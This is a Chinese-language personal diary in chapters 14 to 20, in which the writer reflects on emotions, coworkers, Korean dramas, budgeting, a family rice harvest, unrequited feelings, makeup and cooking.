    这种认知让我哭笑不得！也许有时候我需要学会伪装吧！至少不开心的时候想开点不需要没事有时发出自己的情绪，毕竟工作的地方还是需要更强大的情绪管理，不然不管我在什么时候都给人一种我脾气不好，不好相处的感觉！
    我有一个认识的人，她每次都会发火，我感觉自己很佩服她，因为她的脑子里是不会储存负能量的，可是我发现我并不适合这种情况，因为我不太灵活！反而事情会往更奇怪的样子发展！
    这是我需要改进的！
    翻了翻《婚姻心理学》，很多关于情绪里的东西，字我都认识，可是我仍然不太能理解情绪，可能我需要多看一下子吧！我只记得第一句话，谁难受谁解决，谁解决谁受益！
    那句话很简单！我的理解是，:这个世界是多元化的！你眼里它的举动可能是奇怪的，可是在它世界却是合情合理的，也许很多的情况你看起来是非常奇怪的，你为此感受到痛苦无法忍耐，可是对于它来说它干扰你只是无意间，或者它并不想干扰你，只是它生活的那种方式无意间被你看到了，就像你有很多很多很美好的想象，可是有一个人它突然戳破了你的想象，告诉你真实情况，有点像杠精一样，也许会不爽，可是这个世界里有好多情况，世界不是围着你一个人转的，也许你很幸运，偶然之间周围的人都配合你，可是那只是偶然而已，世界里有很多很多种可能性，它只是让你看到了另一种可能！这很难让人接受，可是这是现实情况！很痛苦，特别的让人烦躁，不想要收获这种信息，也不想要接受这个现实，可是世界就是这样子的，我也许想要改变别人，可是那会让我感觉自己是个病人，因为我们的意识不同，我看到的世界和它看到的世界是不一样的，因此我对某些事情感受到很深的痛苦，可是它为这些事情却并不感觉到痛苦！角度不同世界也就不一样！
    所以我需要好好的生长，去完善自己！每次感受到很多的痛苦的时候，都是我们的灵魂在提醒我们需要好好学习好好成长了！所以请接受痛苦的洗礼！让它慢慢使我们强大起来！
    这对我来说挺难的！可是我希望我会选择强大起来吧！
    今天看了韩剧，里面有一个故事，挺让我喜欢的！一个小朋友他一直做噩梦，发生了一些很难受很难受的事，后来他找到了魔女，希望他把痛苦的记忆拿走，然后他的记忆拿走了，可是仍然那么痛苦，后来魔女去收取他的灵魂，他问魔女为什么他还是不幸福没有长大，魔女告诉他，那些幸福的人也拥有很多痛苦的不开心的事情，只是他们会把那些痛苦不堪的，难受的噩梦一般的事情藏在心里，然后再好好的生长，所以不要选择忘记！《虽然是精神病，但是没关系》这个剧刚看开头，好有意思，本来我还以为是鬼片，有点恐怖的那种，没想到是治愈系！可是我没有代入到感情里面！有点遗憾，不能融入进去！希望我会有感情一样去看吧！
    这是喜欢的人喜欢看的剧！挺好奇的！看了挺好的，喜欢的女孩子果然品味很不错呢！开心！
    今天我的速度比以前更快一点了！然后我再别人讲什么的时候，我调节好了自己的情绪，很棒！我在面对自己的负能量的时候选择冷静下来，仔细思考，很好！
    今天看到了一句话，我们在炫耀什么？我不记得原来的语言是什么了，就讲讲我的理解吧！有一个人它在朋友圈炫耀了什么东西，然后我在指责它炫耀，然后其实我也是炫耀的，因为我在炫耀它炫耀的东西我不炫耀！有一种站在道德制高点的感觉！这是别人讲的！我还是有点迷迷糊糊的感觉！也许我的理解还是一般般吧！大概的意思就是很多的事情越看越淡定，就会感觉到自己很淡定，对身外之物，不会过喜过忧搅动情绪！大概是这样子理解的吧！
    心灵里的境界就是这个世界发生了糟糕的情况，也平平淡淡的看待它，发生了很惊奇的情况也平平淡淡的看待它！这就是心灵的境界吧！
    以前我总是认为这样子是很无聊的糟老头子才喜欢的生活方式，日子无论发生什么，都很平静，不觉得无聊吗？可是日子里什么事情都去看去想动情绪，真的很累很累啊！身心疲惫！
    以前感觉自己看到的错误的事情一定要讲，要说，因为三人行，必有我师焉，择其善者而从之，其不善者而改之。为什么我们看到别人身上的缺点需要我们自己改正不犯，而不是去叫别人改呢？我想不明白！后来看了个电影，电影里一个女孩子她很忧伤，极度自卑，然后很痛苦，后来她看到了一个男孩子，和他谈了恋爱，生下了一个孩子，然后孩子进了孤儿院，然后她因为一些事情变成了男的，进行了很多穿越，原来她谈的恋爱对象就是自己，那个电影里所有的角色，老人，小孩，年轻人，年长者都是她自己，最后她生下来的小孩子也是她自己！名字我忘记了！其实也是一样的道理吧！这个世界上我们看到的对方其实是我们自己，另一个角度的自己，另一个世界的自己！错误也是如此，在我眼里是错的，在它眼里是对的，在我眼里是不好的。在它眼里是好的！所以我们改变自己的看法，和认知，就可以了！这样子不会让自己处于痛苦状态中！
    也有改变别人的人，可是这需要很优秀很优秀的能力，因为对方不是我们自己，所以沟通的能力需要很强，然后话又需要好好说，怎么样才能让对方做出改变，这需要很多的知识！对于我来说，这是非常困难的，因为我的表达能力有限，有时我在写我都不知道我究竟表达的是什么，更不要说课，也许这是我的思维紧箍咒，可是至少现在的我自己还不具备让人改变自己的想法的能力！所以只能用这种方式让自己的处境变好一点！
    我不否认有很优秀的人，他们能够做到很优秀的事情，我需要达到这个程度，那么我也就需要好好提升自己的能力，想办法达到然后再执行！

 第14章

    今天看了《虽然是精神病，但是没关系》！这部剧还不错！
    挺喜欢剧里的人物，剧情非常的温暖！
    我在看的时候看到女主的噩梦情节就跳过去了，可能你还是比较害怕恐惧的事情吧！也许我需要找一个时间好好的去面对恐惧的感觉！不过也不是现在！
    心理医生，真的好神奇啊！不过也好辛苦！总是面对这样子的患者他们居然不会感觉到厌倦，有点奇怪！也许像书籍里说的那样，他们的灵魂阴影都是有一个特别特别想拯救的人，而没有救回来所以就会有那种愧疚感，才选择这样子的职业！可是我还是很好奇为什么会坚持那么久而不放弃呢？特别是男主角！可能我还是不太懂很多的感情，所以我不明白吧！
    很多的感情戏都没有让我感觉到情绪的存在，也许是因为我很害怕恐惧的东西，所以感觉不到！也许是因为我比较理智，理智的太过了所以我的情绪躲在了很小的角落里，所以我没有感觉到！
    总之这个剧是一个好剧，至少有的东西我是得到了治愈，可是我发现我没有感觉到感情！有点遗憾！也许是因为我年纪大了，所以小年轻的那种情情爱爱之类的感情都非常淡漠了，好可惜啊！
    希望我能多看一点这种剧情，补一下情商吧！为什么会有人情商特别的低呢？我总是不明白我自己的情绪！我感觉我是在逃避我的现实，或者我感觉到了让我不开心的事情我会把它藏起来，让你自己不发现它，或者负面的情绪其实我的内心受不了它，所以我的大脑就让我没有办法去感受它，因为感受它会让我崩溃，所以它希望我能感受好的一面，心情会好起来吧！
    我特别的害怕女主的关于妈妈的的回忆！但愿我也能从我的心理阴影走出来吧！就像童话里一样，需要有勇气才能得到幸福！然后语言说话本来应该是顺利的，可是我说话很容易卡壳，也就是说我还有一些事情需要成长，面对自己的失落感！
    我需要勇气去接受我的成功，也需要勇气去好好接受自己的不足与失败！这句话是懂的，可是做到对我来说很重要！
    开心的是今天我做的菜好吃，洗完了我的衣服，做了自己喜欢的事，有所成长！至少在心灵上，虽然只有一点点而已！学会吃掉自己的噩梦，然后就可以变成长大的小孩子了！
    我还是很想批评自己:我的衣服没有叠，我的房间没有整理桌面没有整理，还是乱糟糟的，我今天的心情是那种不太积极的感觉，迟钝的，有点厌恶的感觉，好像很多事情都是特别特别的迟疑，不想去干又不得不去干的那种感觉！明明没有人给我做指挥，要我干这个事，做那个事，我仍然有这种感觉，可能我的心里面。面对我自己也是这样子的！
    我该怎么样调整心态呢？我该怎么与自己沟通！
    翻了心理书，我看懂了一点点！不过我还是需要很多的成长，成长不迷茫！
    好了越来越晚了！该休息了呢！晚安好梦！

 第15章

    看山是山，看水是水，看山不是山，看水不是水，看山还是山看水还是水！不知道怎么理解这句话！
    好奇怪，是本质的意思吗？先从表面看，然后看见本质，然后再由本质看像表面的意思吗？不理解呢！
    我有点不想思考太多的感觉，因为感觉自己思考了一下子问题，会感受到痛苦不堪！为什么我会往坏的那一面想问题呢？这些代表了什么？也许是因为我心里没有安全感，也许是因为我是只戏精，只想让别人关注我，然后我又没有表现成这样子。。。。也许也许！
    我只是在不停的想象自己是坏的印象不太美好的那一面，为什么我想要这样子想呢？
    今天拉肚子了，因为很久没有吃猪肉，肥的，今天吃了一点点，我身体吃不消！肚子痛！
    好难受啊！我买了粉底液，朋友那里买的，朋友的皮肤看起来很好很好了！挺不错的！
    不舒服，难受！
    今天突然想起来，一个事情！人家说网上怎么会写日记！怎么可能把她自己的心事在网络上传呢？对啊！网络里的东西，不一定会是事实，也不一定会是真心的话语！所以我写的其实也差不多！我们只是在分享自己的想法和观点而已！我与普通人并没有什么两样，你有的我也有！你没有我更没有！有可能你的生活还比我的更精彩！可是这并不影响我分享我的想法！对你有帮助的可以吸收，对你没有帮助的可以见了笑一笑就可以了，毕竟这个世界千奇百怪，每个人的人生都是独一无二的，各有各的精彩！求同存异才是我们共同需要的！
    假的也许是真的，真的也许是假的，没关系，这些都是过客！
    今天看到了自己喜欢的公众号，不过取关了，因为我对它感觉到害怕了！我以前很喜欢，可是慢慢的我很害怕！害怕故事里的角色，太过于悲惨！太过于难受！也许他们有很多很多的原因，机缘巧合，可是我不想再看那么惨的故事了！
    我长大了，可是我也是渺小的，至少我心里的我是这样子的！我该怎么样拥有幸福的能力呢？我怎么样才能把烂泥扶上墙的自己扶起来呢？怎么样才能把朽木不可雕也得朽木雕好呢？这真的是我的人生难题啊！
    我该怎么过好我自己的人生，我该怎么样才能实现我自己的价值！
    不知道不知道啊！
    今天听了《沉默的真相》这个故事，也许是电视剧也许是电影什么的吧！我不了解，我就是看up主分析！说一说我的感想吧！其实我是两倍数去看的，吸收的也是别人看过提炼出来的东西！所以原片是没有去看的！也许有点出入吧！我的感想是这个故事实在是太悲伤了！也许真的正义会降临，或者怎么回事。可是这样子的故事太悲伤了！我知道这样子的故事会感觉很难求的！不管我们是认为主角是正义的还是怎么的，这都是一种悲伤的感觉！就像身边的人么有一个人可以去相信，周围的事都是负面的，不快乐的。没有办法去做到心里明亮的感觉，这是一个悲伤的事情，不管是主角还是配角是正派还是反派！
    就像之前看过的动画片一样，一个无聊的村庄！与世隔绝！只有那一个村子里的人！因为太无聊了，便会迫不及待的希望周围会有很多坏事发生，因为这样子会让我们显得很热闹，很有生气，我们是充满着正义感的！我们不无聊！可是期盼这样子的事的我们也是和夜里的天空一样黑呢！
    这种故事我害怕去看！害怕去知道现实世界里像这样子的消息！实在是太让人难过了呢！
    如何才能好好的做好自己，如何才能让自己的心情好起来，怎么样才可以不被外物干扰！
    很难很难呢！
    也许发生难过的事，是自己病了也是世界病了呢？可是病了没有药啊！或者药来的太晚了，已经病入膏肓了，没救了呢！
    在哪本小说看的来着:我会一直走，直到黎明！还有什么:也许我们现在过得很惨很惨，可是再怎么样也希望我们的内心不会扭曲成蛆虫！原来的句子很美好！可是我忘记了！看过的小说很好！
    周围人说我们很喜欢看小说，，已经有点脱离生活了！其实如果我们的生活会很幸福能够让我们感觉到快乐，那么我们也就不会在小说这个精神世界里漂流了吧！
    不过每个人都有每个人的活法，每个人都有每个人需要经历的事情，各有精彩之处！

 第16章

    今天的天气还不错哦！穿一件衣服也比较舒服！做完了一些家务。挺好的！我需要准备好打扫房间的卫生了！需要好好计划一下！
    我记了一下账，买的东西都很便宜，可是花的钱仍然不少！有点超支！在吃的用的方面！我需要节约一点了！可是我也不知道怎么节约！我如果不买好一点的菜，我吃了会不开心，不开心就会闹情绪，闹情绪就买的乱七八糟的东西更多！所以食物还是要好好吃！这里就省不了多少钱！衣服嘛！拼兮兮的衣服，真的还不错，买了划算！不知不觉就买了很多！不过穿起来还行！所以还是需要计划一下，分时间段，还是怎么样！需要省一点点吧！
    比如一个星期买东西限制多少钱，到了星期天，星期天的情绪是最差的，就可以选择买一些东西好好鼓励我自己走出负能量满满的一天！
    然后想一想自己想吃什么，计划做一点好吃的，然后我就可以好好的享受这样子的生活！
    这是我在一个不知名的小姐姐学来的！她大概是某些公司的，然后收入还行，可是控制不住自己买买买，所以欠了好多钱，然后她就写了一本小说，感觉她的文笔和我差不多，可是那段时间也正是我最奇怪的时候，就耐着性子看完了，收获就是做好计划，每个月计划花多少然后在给自己一点点的鼓励，那样我们自己就会越来越有干劲！她写完那本书的时候，居然养成了好习惯，然后还完了自己的欠款，还攒到了一点点钱，虽然很少，但是那个时候她是很开心的！不可思议的一本书！也不可思议我看完了，并且还有一点点收获，人生就是那么奇妙啊！
    昨天去逛了一下街，买了一个小盒子，我也想做菜，商场的东西真的是琳琅满目特别特别的想买，不过我舍不得！以后我想买吧！有很多好看的花瓶。我也想插花之类的！不过我的生活习惯一般般，所以这个愿望也就搁浅了！去了一个超远的快递，本来我特别的抱怨的，因为我没有走那么远的路去拿快递，结果就像散步一样，看到了好多店，有点让我好奇，我第一次看到有卖冷冻的食物的店！去看了看，然后也只是看看就走了，还有卖蔬菜的，看起来很划算的样子，不过我也是瞄了一眼，我菜已经买好了一个星期的量！实在放不了那么多！我记得老师她们是说每天早上六点去买菜！我实在是难以想象，六点就去买菜，然后还要回家做饭的日常，我欣赏，羡慕，可是我学不来，因为我住的地方离菜市场更远，买菜我又特别的纠结，选来选去就会买很久然后加上做饭的时间，一个早上消耗完毕了！然后自己也没有休息好！老师她们买菜就是计划好自己今天需要吃什么，然后就买，买到就赶紧回去，她们的家也比较近，然后做饭，顺便把中午的饭菜准备好，一下班回家就炒菜吃饭！这样就节省很多时间！城市的生活不是我想象的那么简单，需要思考很多，才能应付的过来！特别是生活！总要努力很多才能在聚会啊！请客吃饭啊！给自己的亲朋好友一种假象:她们生活可真好！然后就没有然后了！等下一次聚餐！这就是我的想法！总之，需要过得好一点，就会需要花很多的时间和精力！
    如何才能平衡好，工作和生活！这也是我需要思考的问题！有的时候我心情不好做的菜超级不对劲，然后我的身体就像有点扛不住，导致工作效率，然后心情就又不好了！怎么样才能让自己的生活变得好一点，舒服一点，然后让自己的身体变得更有健康，更有精力去工作！这是我需要好好学习的问题！
    买了一个粉底，涂了一下，看起来很白然后心情还不错！其实我本人长的一般般，涂了粉底效果也一般般，不过我心情好，状态就好，别人看到我的状态好，心情也会好！所以化妆是一件利他的事情！也是对自己好的！以后我想学习一下！也许有机会的话！
    有点小小的伤心！我看中的猪拱别的白菜的感觉，也许是我想多了吧！也需要我只是心情不好，刚好看见了！算了不要多想了，他不是我的猪！
    我并不相信灰姑娘和王子的爱情！我看了一个神奇的小说很久以前看的，小说的世界里有一个女生，她在上学的时候勤工俭学才能维持生活，然后有一个家里很有钱又长得帅的男生在追求她，然后和她一起兼职挣钱，只为了追她，他们两个是同班同学，然后女孩和他的故事被其他人知道了，女孩子被男孩子的女朋友给欺负了，然后女孩还听到了男生根本就没有喜欢她，只是玩玩而已！后来那个男孩的女朋友设计陷害她，被她识破了，并且告诉了他女朋友一些事情，他女朋友的心情非常的糟糕！然后灰姑娘一样的女孩子，拒绝了男孩子的追求，因为这样的爱情是他们富家公子的游戏而已，男生只是追着玩玩而已，然后追到了，就会被他女朋友找上门来羞辱一番，他们两个闲的蛋疼，就这样子找了很多很多的乐子！那个小说说女生的角色如果是灰姑娘的话，真实的灰姑娘家境贫寒的那种，那么不要期盼不该得到的东西，世界上没有免费的东西，感情也是一样的！所以我还是好好自己一个人生活吧！好好捣腾自己，让自己开心一点，或者充分的发挥利他的属性，没准哪天真的就会有人很喜欢很喜欢呢！总之，不要去幻想不对等的关系，就算得到了我也把握不住，因为心情不好，需要计划和思考的东西太多了，想多了头秃！就算人家什么都不需要你去思考，我还是需要面对各种心理障碍！就懒得想那么多了！
    你我本无缘，全靠我不要脸！坚持不要脸！这是我看一些小说的收获！说的好听一点这叫有勇气坚持的有勇气！不过我不太适合这个定律吧！我胆子小，要脸，所以我们没有缘分！就那样子！
    你若盛开，清风自来！先做好我自己吧！不要想那么多！先让自己开心一点，与自己好好沟通，然后与家人沟通，与朋友沟通！就那样子吧！
    今天本来是开心的一天，可是我看到那个场景的时候哭的稀里哗啦的！情绪瞬间就不好了！可是他不是我的谁。就算经过时间的推移，我也只是慢慢的等待他谈恋爱结婚的消息，然后给他包个大红包，恭喜他和她百年好合，早生贵子白头偕老永结同心！
    就那样子吧！也许这是错误的选择，也就这样子吧！

 第17章

    这两天在家里割稻子，并没有做完事，回来上班了！因为我把我的假用完了！
    还好天气好，希望这几天天气一直都很好吧！那样大家的谷子都可以晒干了！
    买了新的脱粒机，打的挺干净的，不过不是我们心里想要的样子，所以我们正在处于磨合期，一开始只有我和爸爸两个人在一起做事，超级慢，因为我们两个都是慢性子，然后这个机子需要不停的换桶，一个田没有打完就用了一箱油！等到亲戚做完体检给我们打谷子的时候，油已经用空了！本来我们打算收工的，可是还有时间，亲戚就说一定要打完！然后就打完了！
    那些谷子超级重，我并没有扛起过，都是亲戚和爸爸扛的，亲戚说她的身体一点都不好，可是她必须要撑着工作！不然可怎么办呢？
    后来我们一起搬打谷机，亲戚感觉我没有什么力气，就她和爸爸一起搬了！有点意外吧！后来去其他的田里，都是她和爸爸一起扛打谷机！一手撑着棍子，一手撑着打谷机！慢慢的走，我在后面捡一些轻一点的东西，我在想我就那么弱了吗？
    后来也就接受了这个事实！因为我确实在这件事上帮不了多少忙！对我来说太重了！然后我其实这几年都很少运动还有锻炼身体什么的，一下班就躺着，所以我的身体状况一般般，比较弱，属于吹一阵风就不舒服的体质！我感觉我好没有面子啊！我需要锻炼身体了！
    做出改变，明天应该还是需要打谷子，插秧，可不能太弱了！多一个生存技能，还是好的，万一以后有穿越功能呢？万一我就穿越到古代种田呢！所以什么事情都需要认真去对待！好好干，根据自己的情况，好好的调整状态！
    今天需要上班了！
    昨天在妹妹的房间里看到了她买的书，很短的文字！一小篇文字，给了我一些启发！书籍里的姑娘，因为考大学，不小心本科的分数去了大专上学，所以情绪失落，后来自抛自弃，喝酒玩，不爱专业知识，最后过得很难受！这样子的经历我也有！那段时间非常的难受！没有去自己心心念念的学校学习！然后我也失去了很多东西！那段时间很难受。很认真的听老师讲课，然后一点都听不懂！失去了联想的能力一样！所以我过得很难受！也许我的心里也和那个女孩子一样，有很多借口，面对什么事情只能自己用这个借口，要是有一天我去了另一个地方，要是有一天我能够拥有！要是有一天我能够！其实没有要是有一天！因为总有一天我需要接受欲而不得的状态，只不过别人都是失恋，而我是失学而已！很痛苦很难受！那段经历就像生命里面的光全都不见了，只有黑暗的地方！无论别人说什么做什么，都让我感觉很难受！要是。。。没有要是！然后自己很速度的阅读能力也变得看书看不懂了！非常的不快乐！
    我不清楚我现在有没有脱离这个状态！也许我更好了，也许我更坏了！不知道！
    慢慢的让自己得到救赎！文里面说这是借口，其实不是借口！只是自己的所有的心灵都像死去了的感觉！就像活在这个世界上心灵没有了一样，我其实也像那篇文里的例子，优秀过，可是低落过，可是那件低落的事让我感觉自己就像死掉了一样！强迫自己活着，可是我没有感觉到心里有那种力气，其实重来多少遍，可能我多会有这样一摸一样的选择吧！因为我需要很多很多的适应力，而那个时候的我也有，可是我还是有一些恐惧，恐惧的选择让我做出了一些判断，让我很不舒服！我需要学会适应自己低落的状态，接受自己的缺点和不足，勇敢的去面对自己的不足，不用找什么借口，直接去面对它！也许很痛，很让我难受，可是人生里就是需要这样一段经历，就像修仙一样经过天劫的雷劈才意味着你更强大了一点点，虽然那条路上有很多人被劈死了，可是这是你成长的那一条路，不管怎么样，你都要去面对这个阶段，都要被雷劈一劈才意味着你长大了，这样子挺好的呀！
    接受它吧！像以后这样子的日子还很多很多呢！也许我会嫁一个不是自己喜欢的人，也许我会生下一个不是自己想要的孩子，也许我会面对一个未来那个未来的家不是自己喜欢的，也需要我会用头疼的状态去面对各种人际关系，也许我会为了孩子上学苦恼，也许我会因为各种面子上的事情烦恼。。。等等等反正这样子的日子可多着呢？
    也许正是因为我在期盼着一个美好的幸福生活，所以我能面对这些问题吧！因为没有美好的幸福生活的人才会去许这样子的愿望吧！
    只有失去或者渴望着不存在的才会想要拥有吧！
    这段时间我学会了什么！学会了面对自己，学会了花一些钱，让自己开心，想着省钱的时候也想着满足一下自己小小的愿望，让自己心里开心一点点！对让自己欲而不得的生活有欲望！想要学习，很多方式，就去学了，虽然有很多东西很难看得懂，很多事情很难理解，可是去看了总会让自己开心一点点！这样就足够了！
    学会让自己好好接受自己的缺点，自己并不是永远的天之骄子，会有很多失误的时候，我学会如何去面对自己的失误，面对责备，面对自己的失落，挫败感，如何从心里接受自己的负能量，好好的成长，这是我需要去学习的东西！
    也许在漫漫余生，我回忆起这一段不圆满的事情里也会是释然的吧！
    新的一天开心愉快哦！

 第18章

    这几天的脑子都在循环播放一首歌《虫儿飞》，然后就去找那首歌，发现它并不是儿歌，而是一首情歌，还是《风云争霸》！然后就很快速的看完了人家的解说，毕竟电视剧还是没有时间看的！我的天，这剧情反转的很多啊！步惊云居然有那么惨，聂风入魔。。。。等等！然后雄霸做那么多奇葩的事，居然是为了一统天下，他要是不搞那么多奇怪的事，是不是早就当皇帝了呢？应该也不会吧！
    真的是我的童年阴影！
    心情复杂，现在又要准备考试了！需要更加努力才行！
    很想做的事情，需要慢慢的做好！很多东西都是有方法的！去努力的想，就可以！
    人前一套人后一套！虚伪！我对于这件事的看法有很多角度！第一可能一方表现的比较强势，另一方表现的比较弱势，两者的差别不在对等的关系里，那么他们就会用这样子的方式来相处！第二两者对等，她们很想保护自己，所以选择用这种方式相处！第三人与人之间，我们表面的关系很融洽，其实也挺好的，至少面子上过得去，至于心里，画虎画皮难画骨！心这种东西很复杂，有的时候它感觉你很好，有的时候它感觉你很不好！所以这种捉摸不定的状态不可预测！然后事情又是多角度的！你看到的未必是真实的，他看到的又是另一个样子，所以能维持表面也是很好的，然后在维持表面的基础上好好的热于助人，团结友爱，那么这样就很容易拥有真正的人前一套人后也是相同的一套！毕竟人心都是肉长得，你让我爽，我也让你爽！
    最近听到有魔法部在监视我们的信息？不知道有没有？突然想起来有一部小说里说这个世界里有九大种族，每一种都很特别！各有各的能力！都非常有特点，就想到了其中一种，长得奇奇怪怪。闲的没事掉掉手掉掉脑袋还有喜欢吃人的精神力的。还有如雾一样的种族！脑洞很大，正好满足这个想象！也许我们并没有被监视，只是那些住到边边角角藏起来的地球居民，出来玩了，时不时附个体，时不时出来冒个泡而已！或许真的有魔法部，那也就这样子吧！反正有人看着，日子怎么过还是我自己的！
    看了三星堆的故事！又想起了好一些快穿小说，女主去一些位面上班，做事情，做完了之后留下了历史，等她过了几万年那些历史就发现了，出来了！非常让人惊讶！也许三星堆也一样的吧！这个世界上有很多的不可思议的事情发生了，也许也是这样发生的！也许有外星人，也许这个世界上出现了很多很多次文明，只是他们都沉睡在历史的长河中，或者没有被记住！也许我们也会是其中的一份子，那么不管怎么样，开心的过好现在的每一天吧！不管怎么样，我都无法阻止我会变成历史。不管被别人记住还是不记住！至少现在我是活着的！
    也可以好好想象，也许有外星人呢？那么还会不会有星网，会不会可以用虚拟的意识去打游戏，去驾驶机甲，去和虫族打仗。可能还会有很多的海盗军团，或者可以进行星球旅行，上一百八十年的学。因为每个人都被拉长了，一千岁可能正值壮年！想想也挺好的，这世界上的事情就是那么奇特！学无止境啊！
    也许有一天我们都老了，也成了别人的历史！不管在别人眼里是怎么样的，至少现在是开心的，满足的，就好了！
    看了一下我自己写过的文，我看的进去！还行！
    可是今天到了星期天，眼泪哗哗哗的流！心情不好！
    最近吃的太咸了！不舒服，还有一些题目没有做完，而我现在想睡懒觉不舒服，最近晚睡，不舒服，最近把这件事当成了一件工作，有点不舒服，当成工作我就没有办法写了，才思枯竭，用爱发电，这是一件很简单的口好，可是爱是什么呢？我不知道啊！
    只知道好好工作好好学习！也许我现在处于享受的状态也许我现在处于不享受的状态，怎么讲呢？就是把事情做完就可以了，昨天看了一个小视频，一个人每天努力学习努力上班努力工作，然后他挂了，还需要努力拔草，才能投胎，有点难受啊！也许我的结局也是一样子吧！可我需要做什么样的改变呢？如何享受当下！反正我会挂，迟早会死。我想要做的事是什么呢？
    吃自己喜欢的食物，做很多好吃的比如蛋糕，炸酱面，月饼，芋圆，粉蒸肉，红烧肉，土豆泥，把它们的过程记下来，分享出去。也许等我忘了我可以看一看我的视频，回忆一下，虽然外人看很丑，但是对于我来说回忆是甜的就好了！
    想做什么呢？做一个学会佛法的人！我认为佛会有很多的智慧，生活里的，很多困扰我的事情，有的关于佛的理念可以让我脱离这种困扰的状态！也可以学习党史，可惜我看不懂党章！我认为的党大概的意思就是无私奉献精神，舍己为人！不过我还没有这个状态，至少现在不是！我的内心还是有很多的匮乏感，有了匮乏感就比较容易贪婪，有了贪婪就比较容易不知足想要很多很多对自己来说很没有价值的东西，或者很多东西都舍不得丢舍不得放下！很贪婪它曾经带给我的美好的感觉，哪怕有一天它已经不美好了过期了，也舍不得，只是贪婪回忆里那份美好的感觉！舍不得忘掉，舍不得丢掉，因为脑子就只有那么一点点，所以我的心里装满了过去，就塞不下现在，也塞不下未来了！我知道这也是一种愚蠢！可是我无法接受现实，无法接受干脆利索的遗忘！
    我需要新的开始吧！去创造自己的新的现在！
    就像再一次投胎一样！享受生活享受当下！我该怎么学会呢？

 第19章

    今天有一个很喜欢的事，因为自己很墨迹，然后错过了机会！有点无奈！
    第二个事，计划好了的事，可是忘记了一瞬间，导致时间耽搁很多！
    第三个事今天花了很多钱！我还想花！我好像有点控制不了自己想花钱的欲望了！为什么会这样子呢？
    第四个事！本来做好了计划学习的，可是我没有！然后继续看书的时候，那些需要考试的内容我都没有记住！
    第五个事，我被批评了！因为有一些语气和用词很不当！导致同事对我很有意见，可是人家和我说了很多遍，我都没有听懂！导致我一直都没有懂对方是什么意思！她们一直都很难受！
    第六个事，我怀疑我自己是不是精神发育迟滞，为什么很浅而已见的事情我会不明白呢？
    第七个事，有一个快递，我拿了，可是我忘记我拿了！然后再去快递那里问！浪费了我很多时间，然后这件事让我感觉有点不好意思，耽搁人家时间！
    第八件事！我买的衣服已经很久了，可是我还没有洗，我做了很多次的决定我需要洗那件新衣服！我面对这件新衣服是非常难受的！因为它长的和我期待中的样子是不一样的，然后没有我幻想出来的那种美感，可是我忘记退了！好难受！然后我很想很想洗，可是我心里应该非常难受所以那件衣服我没有洗！又收到一件衣服，我好想退啊！可是我好懒！可是这件衣服很难看！我没有感受到我不开心的情绪，我非常的平和！可是我不想动！
    第九件事！去了几家店都没有我穿的码子的鞋子！有点难受！
    第十件事我做到了，我做到了练习我该做的事，这是一件很棒的体验！而且我达到了我的目标！
    第十一件事！我有了收获，虽然考试很烂，但是我看不懂的东西我懂了一点点！有收获是一件很棒的事！
    第十二件事！我涂粉底液的水平比以前好了很多！被同事夸了，很开心！
    第十三件事！我做了我想做的正确的事，很满足！
    第十四件事！我进行了一些不可思议的尝试有了一点点的收获！很棒！
    今天就过去了！我需要好好的调整我自己！
    第一好好记账，搞清楚为什么我突然花了那么多钱！控制一下自己的欲望！然后我需要好好的计划一下，怎么样才能让自己吃的好一点，一天的能量充沛！然后花的钱又不是很多！如何才能在自我成长的时候，好好的强身健体！

 第20章

    今天我有成就感了！今天第一次做了一条鲤鱼！按照网上的做法做的，很好吃！糖醋鲤鱼，很香！很开心！
    很高兴自己第一次就能做的那么好！但愿以后得我自己会经历很多很多的第一次吧！比如第一次做月饼！我很想做，买好了月饼磨具，买好了擀面杖和面条用的板子！可是我还是过了好几个星期还没有动手。我也不知道为什么？也许是因为我害怕我会失败，所以我不想干！因为我做饺子包子，失败好多次了！所以看到面食我就会很难受，反应很迟钝因为我无法接受自己很伤心难过的情绪吧！欲望是悲伤的源头！我心里很想很想做好！
    究竟哪一天我才会变得有勇气呢？
    不知道答案！
    今天早上涂的粉底很均匀，很美！口红也很好看！很开心！今天买菜用了不少钱，但愿这一个星期都不用买菜了！可以这只是幻想，我还是很想买猪肉的！不过今天我没有买，因为我的冰箱里好多菜冰着，塞不下那么多！明天可以做一些！早上吃洋葱炒肉！中午吃盐水芋子！晚上吃一些其他的东西！完美！
    我今天早上忘记吃早餐了，因为我涂粉底忘记了时间，我应该需要起的早一点，然后准备好早餐！然后再画，那样我就忘不了了！
    今天测了一下心机！56%的心机，就是把想法全都用在防御力上了！这样子的结果我很满意！虽然我知道我有的事情比较笨！但是很多事情能不插手就不要去插手！今天一个老师出远门去了，其他老师就在说她的缺点！我在想也许我不在其中，也会讲我的缺点吧！这样子的想法让我有点防备！我不知道怎么讲，可能这是大家联络感情的一种方式，也许也是一种缘分！也许！反正我不想讲任何一个老师的不好的地方！因为三人行，必有我师焉。择其善者而从之，其不善者而改之！其不善者而改之，是我自己改！不是叫别人改！所以我管好我自己就好了！老师说的我的缺点，我就尽自己全力去改，别的东西不想讲！为什么不想讲，因为讲了大家不愉快！而且在重复的不愉快，都那么大人了，大家自己可以搞定！同事说我有的事情没有看见本质！我也不知道为什么？什么是本质，既然这是我学不会的，不会的，那么我就不用理了！把我的班上好，然后工作的时候多带一点零食，看见人家需要帮忙的时候多帮忙！嗯！大概就是这样子吧！
    女生的世界5个人6个群！哪里都是一样的，所以提升自己的防御力，挺好的！
    把上班做好才是最重要的！怎么样才能更好！
    这次我仍然有很多东西没有懂！有点难受！不过我也是需要接受现实的！因为那些东西我看了很多遍，也做了很多遍，还是做不好！其实如果很多东西都做不好，其实有很多问题，也许问题的原因我是知道答案的，那我也没有办法！我该怎么样才能让我的状态好起来呢？如何采取措施！如果大家是因为不开心所以让我很容易出错，那么我要怎么样才能让别人开心呢？如果是因为潜意识里大家不喜欢我，所以我很容易出错，那么我要采取什么样的措施让我得到别人的喜欢呢？
    真心羡慕那种有天分的人，我并不是有天分的人！所以面对这种事情也是一种锻炼！挑战，那么我该怎么办？
    今天测的那个问题让我有了一个新的思路，我每次面对同事的话语我都是能感觉到很不舒服的感觉，因为这样子让我的压力很大，因为这样子的话语让我的压力很大，所以这样子的语言也就更多了！每次她这样子讲我就压力大！测试里发现我的问题在于我没有好好的面对她的话语，其实她的话语很正常！那么我面对这种说法我应该如果转变心境呢？面对挑战吧！
